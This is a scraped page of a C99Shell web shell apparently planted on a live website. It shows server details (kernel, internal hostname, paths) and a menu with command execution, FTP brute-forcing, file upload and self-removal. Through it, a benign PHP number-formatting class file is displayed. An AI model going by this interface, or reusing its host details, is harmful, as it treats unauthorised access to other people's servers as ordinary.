!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/controls/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ViewNumberField.php (1.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ViewNumberField extends ViewControl
{
    public function 
showDBValue( &$data$keylink$html true )
    {
        
$result $this->getTextValue$data );
        
        if(
$this->searchHighlight)
        {
            
$result $this->highlightSearchWord($resultfalse$data[$this->field]);
        }
        
        return 
$result;
    }

    
/**
     * @param &Array data
     * @return String     
     */
    
public function getTextValue(&$data)
    {
        return 
str_format_number$data$this->field ], $this->container->pSet->isDecimalDigits$this->field ) );
    }    
    
    public function 
getValueHighlighted($value$highlightData
    {
        
$searchWordArr = array();
        foreach(
$highlightData['searchWords'] as $searchWord)
        {
            
$curSearchWord $searchWord;
            
            
$isStringOfNumbers preg_match('/^[\d]+$/'$searchWord);
            if(!
$isStringOfNumbers
            {
                
$decimals $this->container->pSet->isDecimalDigits($this->field);
                
$curSearchWord    str_format_number($searchWord$decimals);
                
$quantifier '{1,'.$decimals.'}';
                if(
$decimals <= 1
                {
                    
$quantifier '?';
                }
                
$curSearchWord preg_replace('/0'.$quantifier.'$/'''$searchWord);
                
$curSearchWord preg_replace('/\.$/'''$searchWord);    
            }
            
            
$searchWordArray str_split($curSearchWord);
            
$curSearchWord implode('[^\d]?'$searchWordArray);
            
$searchWordArr[] = $curSearchWord;
        }
                
        
$searchWord implode('|'$searchWordArr);
        
$searchOpt $highlightData['searchOpt'];
        
        switch(
$searchOpt)
        {
            case 
'Equals':
                return 
$this->addHighlightingSpan($value);
    
            case 
'Starts with':
                return 
preg_replace('/^('.$searchWord.')/'$this->addHighlightingSpan('$1'), $value);
            
            case 
'Contains':    
                return 
preg_replace('/('.$searchWord.')/'$this->addHighlightingSpan('$1'), $value);
            
            default:
                return 
$value;
        }            
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0021 ]--